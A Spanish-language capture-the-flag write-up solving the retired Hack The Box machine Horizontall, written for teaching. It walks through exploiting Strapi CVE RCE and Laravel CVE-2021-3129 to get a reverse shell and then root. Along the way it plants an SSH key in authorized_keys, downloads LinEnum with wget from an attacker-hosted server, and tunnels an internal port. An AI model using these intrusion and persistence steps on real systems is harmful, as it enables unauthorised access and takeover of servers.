HTB Horizontall
Presentamos la solución de Horizontall la cual es una máquina con sistema operativo Linux, de dificultad fácil y otorga 20 puntos.
Nota1: Debido a los términos y condiciones de HTB, solamente se pueden publicar la solución de una máquina cuando ya está retirada. Para realizar una máquina retirada es necesario ser VIP.
Nota2: Los puntos en HTB son calculados mediante una fórmula que considera retos, máquinas y prolabs. Por lo tanto no veremos 20 puntos reflejados en nuestro perfil.
Nota3: Al ser una máquina calificada como sencilla explicaré paso a paso el proceso de uso de la plataforma y la resolución de la máquina. Además de ahondar en definiciones y recursos complementarios a seguir (No será el caso para máquinas más difíciles).
Nota4: Si vas a realizar este laboratorio u otro online es recomendable que uses una máquina virtual con tus herramientas. Por tu propia seguridad.
Configuración inicial
Al tener una cuenta htb, lo primero para realizar una conexión es descargar nuestro archivo .ovpn de la pestaña connect to htb. Al abrirlo veremos la siguiente interfaz y seleccionaremos Machines para poder conectarnos a las máquinas generales.
Al abrir la siguiente ventana encontramos dos opciones para conectarnos, OpenVPN y Pwnbox. La primera opción nos permitirá conectarnos mediante una VPN a la red interna de HTB y así comunicarnos con las máquinas con las que trabajaremos. Por otro lado Pwnbox nos permite tener una máquina parrot la cual controlaremos dentro de nuestro navegador sin la necesidad de levantar una máquina virtual. Sin embargo, para disfrutar de esta funcionalidad requerimos ser usuarios VIP.
Esta pestaña nos permite configurar el país y el número de servidor al que deseamos conectarnos. Seleccionamos el que tengamos más cercano y menos usuarios respectivamente. Por otro lado, podemos configurar si deseamos conectarnos mediante udp (puerto 1337) o tcp (443). La primera opción será más rápida, sin embargo, de encontrarnos en una red restrictiva (escuela o trabajo por ejemplo) hacer una conexión udp al puerto 1337 puede ser impedido. Por lo general una conexión tcp al puerto 443 (aunque más lenta) será permitida. Más info al respecto aquí: VPN udp vs tcp.
Este archivo de VPN lo guardaré como htb.ovpn en mi carpeta de descargas. Para conectarnos a los laboratorios bastaría con utilizar el siguiente comando en el directorio donde almacenamos nuestro archivo .ovpn
sudo openvpn htb.ovpn
Una vez configurada la VPN, deberemos entrar a la página de la máquina: Horizontall. Donde deberemos unirnos a la máquina para obtener su ip.
IP
La ip de la máquina horizontall es 10.10.11.105
Enumeración
Lo primero es enumerar para obtener información de la máquina. Principalmente buscaremos conocer su sistema operativo, puertos abiertos y los servicios tras estos puertos. Para ello utilizaremos un scanner de puertos llamado nmap con lo que podremos obtener estos y más datos sobre la máquina Info NMAP.
nmap 10.10.11.105
Al ejecutar el scan más sencillo posible encontramos los puertos 22 y 80 abiertos (state open). Usualmente buscaríamos utilizar otras banderas como -sV ,-O ,-p- para obtener más información, buscando obtener versiones de los servicios, sistema operativo o un scan de todos los puertos (Pues nmap por defecto escanea los 1000 puertos más usados) respectivamente.
Pagina web
Al abrir la página notamos que la ip que hemos introducido nos redirige a horizontall.htb y nos muestra un error indicando que este host no ha sido encontrado. Esto debido a que no existe un DNS que resuelva el dominio horizontall.htb, por ello necesitamos añadirlo a /etc/hosts. Donde se definen servidores DNS y (lo que nos interesa para este caso) hosts bien conocidos. Por lo tanto bastaría con ejecutar el siguiente comando para añadirlo al final del archivo /etc/hosts.
sudo echo "10.10.11.105 horizontall.htb" >> /etc/hosts
Al revisar el código fuente de la página web encontramos un archivo llamado app.c68eb562.js donde al buscar dentro de su contenido se revela que realiza búsqueda elementos en el subdominio: http://api-prod.horizontall.htb/reviews
Debido a que cada subdominio puede mostrar un contenido diferente (más info sobre subdominios aquí), añadimos este subdominio al archivo /etc/hosts.
sudo echo "10.10.11.105 api.horizontall.htb" >> /etc/hosts
Tras investigar un poco encontramos un panel de administración en la siguiente ruta: http://api-prod.horizontall.htb:80/admin/
Explotación:
Para la fase de explotación, siempre es recomendable googlear el nombre del software encontrado, su versión y por último la palabra exploit. Por ejemplo:
strapi 3.0.0-beta.17.4 exploit
pues debemos comprobar que la tecnología a usar en verdad es vulnerable al exploit encontrado. Otra cuestión importante es siempre leer el exploit que vamos a ejecutar, pues existen exploits dedicados a hackear a script kiddies que ejecutan exploits sin comprobar realmente su funcionamiento. Por otro lado, debemos analizar de que tipo se trata pues un exploit de una Denegación de Servicio (Dos) a efectos de una competencia no nos dará puntos y para una prueba de penetración aunque se debe reportar, generalmente está prohibida su explotación.
Otra cuestión importante es encadenar vulnerabilidades, pues aunque el alcance de una vulnerabilidad sea limitado pueden encadenarse varias para lograr un mayor impacto u obtener mejor visibilidad del sistema.
Encontramos un exploit para el cms strapi 3.0.0-beta.17.4 en: https://www.exploit-db.com/exploits/50239 . La descripción del exploit menciona que se trata de un remote code execution (RCE) la cual es de las vulnerabilidades más valiosas, pues nos permite ejecutar comandos dentro del sistema como el usuario que se encuentra ejecutando el servicio que explotaremos.
Como se menciono anteriormente, al utilizar exploits es importante comprobar la versión de los mismos, pues los sistemas se actualizan y las vulnerabilidades son parchadas. Ya en este caso coinciden la versión del exploit y la versión del strapi de la máquina, todo indica que la máquina será vulnerable.
Al intentar mandar comandos, se nos menciona que es un blind RCE, lo cual implica que no podremos ver el resultado de los comandos ejecutados.
Por lo que para comprobar el funcionamiento del exploit probaremos obtener una conexión desde el servidor. Para ello requerimos:
- Un puerto esperando una conexión a nuestra máquina.
- Para ello, levantamos un listener de netcat encargado de esperar a que el servidor se conecte a el puerto 3333:
- Posteriormente ejecutar un comando en la víctima que realice esta conexión.
- Usaremos una reverse shell, la cual indica al servidor que se conecte con nuestro listener y que la información enviada por ese socket sea ejecutada por bash. ¡Obteniendo nuestra propia terminal dentro de la máquina víctima! Mas info sobre reverse shells aquí
- Una nota importante al hacer uso de reverse shells es que dependen de algún programa para ejecutarse (bash, netcat, python, perl) por lo que dependemos de que el sistema cuente con dicho programa. Comúnmente los sistemas linux cuentan con perl y python3, por lo que son una buena opción.
- Para este caso hicimos uso de netcat, sin embargo este sistema cuenta con el paquete nc-openbsd, lo cual implica que no cuenta con la opción -e (la cual sirve para ejecutar un programa) por lo que ocupamos una variación de reverse shell para netcat-openbsd.
Revisamos nuestro listener y … ¡Obtenemos una shell!
Es importante notar que una shell obtenida de este modo se verá bastante limitada. No podremos desplazarnos para corregir nuestros comandos, navegar en el historial de comandos ni ver el prompt (Además de no poder ejecutar comandos importantes como su o sudo). Por lo tanto, requerimos mejorar estas terminales más información.
Para ello mi método favorito es hacer uso de la utilería rlwrap el cual con simplemente anteponerlo a nuestro listener (ej: rlwrap nc -lvp 3333
) podremos navegar en el historial de comandos, realizar búsquedas en el historial y desplazarnos para editar nuestros comandos. Ya dentro de la máquina víctima, es necesario obtener una shell tty, la cual obtenemos mediante el comando python3 -c 'import pty; pty.spawn("/bin/bash")'
. De este modo contaremos con una bash y el prompt completo.
Teniendo todo esto listo. Encontramos el archivo /home/developer/user.txt y podemos reclamar la primera bandera (la cual mostraré censurada):
Post-Explotación
En esta etapa y considerando la nueva visión que tenemos del sistema como el usuario strapi, buscaremos realizar estos próximos pasos:
- Mejorar nuestro acceso en esta máquina
- Mejorar nuestra terminal de netcat.
- Si es posible, obtener una shell mediante SSH.
- Enumerar la máquina:
- Obtener información general del sistema
- Movimiento lateral
- En esta etapa buscamos obtener acceso a la cuenta de otros usuarios del sistema.
- Encontrar contraseñas de otros usuarios y archivos importantes.
- Explotar servicios ejecutados por otros usuarios
- Escalamiento vertical de privilegios
- Buscamos un compromiso total del sistema vulnerando una cuenta de administrador.
- Encontrar contraseñas del administrador y archivos importantes.
- Explotar servicios ejecutados por root.
Shell SSH
Entonces buscaremos mejorar nuestro acceso mediante una shell de ssh (Este paso se mostrará importante más adelante). Debido a que no contamos con credenciales para hacer login, podemos utilizar el feature de login mediante llaves. Esta técnica es bastante usada aunque se requiere que esté permitida en la configuración de ssh.
Para poder realizar esta actualización debemos seguir los próximos pasos:
- Generar nuestro par llave pública y llave privada de ssh.
- Esto se debe realizar en la máquina atacante mediante el comando
ssh-keygen
- Deberemos especificar donde deseamos se almacene, el nombre de nuestras llaves (id_rsa por ejemplo) y de así desearlo una contraseña para cifrar la privada.
- Se generan dos llaves una privada y una pública nombrada como .pub (por ejemplo id_rsa y id_rsa.pub)
- Esto se debe realizar en la máquina atacante mediante el comando
- Subir la llave pública (ej: id_rsa.pub)
- Para ello deberemos de añadir la llave pública al final del archivo home_del_usuario/.ssh/authorized_keys (en este caso /opt/strapi/.ssh/authorized_keys)
- Nota importante, deberemos trasladar el contenido del archivo nombre_llave.pub, el cual al no ser extenso podemos simplemente copiarlo y pegarlo.
- Es recomendable dejar dos lineas previa a nuestra llave y una después. ej:
echo -e "\n\n\nContenido_Llave_SSH_id_rsa.pub\n" >> /opt/strapi/.ssh/authorized_keys
- Nos autenticamos en ssh mediante llaves:
- ```ssh -i nombre_llave usuario@maquina``
Enumeración
A continuación buscaremos conocer mejor la máquina, por lo que enumeraremos con LinEnum.sh. Para transferirlo creamos un servidor http en la maquina atacante ejecutando el siguiente comando en la carpeta donde se encuentra el archivo:
sudo python3 -m http.server 80
Para descargarlo en la víctima bastaría con utilizar wget y sustituir ip_atacante por la ip de nuestra máquina. Posteriormente debemos darle permisos de ejecución.
wget http://ip_atacante/LinEnum.sh
chmod +x LinEnum.sh
Y ahora lo ejecutamos:
Este nos comenta que existen puertos que solo escuchan en el localhost:
Para analizar el puerto 8000, en nuestro navegador debemos usar port forwarding (más info aquí):
Donde especificamos que el puerto 8000 (de la máquina atacante) se estará conectado con el localhost (de la maquina victima) en el puerto 8000 (puerto interno de la víctima) de la maquina horizontall.htb y nos logueamos al usuario strapi con autenticación por llave.
# [atacante][victima][victima]
ssh -i idrsa -L 8000:localhost:8000 strapi@horizontall.htb
Gracias a esto, al entrar en nuestro navegador a la ruta 127.0.0.1:8000 podremos tener acceso a la siguiente página web:
Este sitio se trata de un laravel v8 y cuenta con el debugger activado(puede encontrarse al entrar a la ruta /profiles):
Escalamiento
Investigando la versión de laravel encontramos el siguiente exploit el cual requiere de que se encuentre activo el debugger: https://github.com/nth347/CVE-2021-3129_exploit Donde mediante la deserialización de un .phar malicioso podemos ejecutar comandos. Este exploit se encarga de descargar las herramientas necesarias para crear el phar., por lo que es bastante cómodo. Basta con ejecutarlo de la siguiente forma:
python3 laravel_exploit.py http://127.0.0.1:8000 Monolog/RCE2 whoami
PWNED!
Ahora que podemos ejecutar comandos como root, obtenemos una shell mediante ssh subiendo nuestra llave pública con el siguiente comando:
Nos loggeamos:
Y conseguimos la bandera:
Esta fue una máquina “sencilla” donde aprendimos varios conceptos básicos, lo más importante es comprender la metodología que permitió comprometer este servidor, las herramientas se aprenden sobre la marcha o leyendo writeups.
¡Hasta luego! Keep hacking.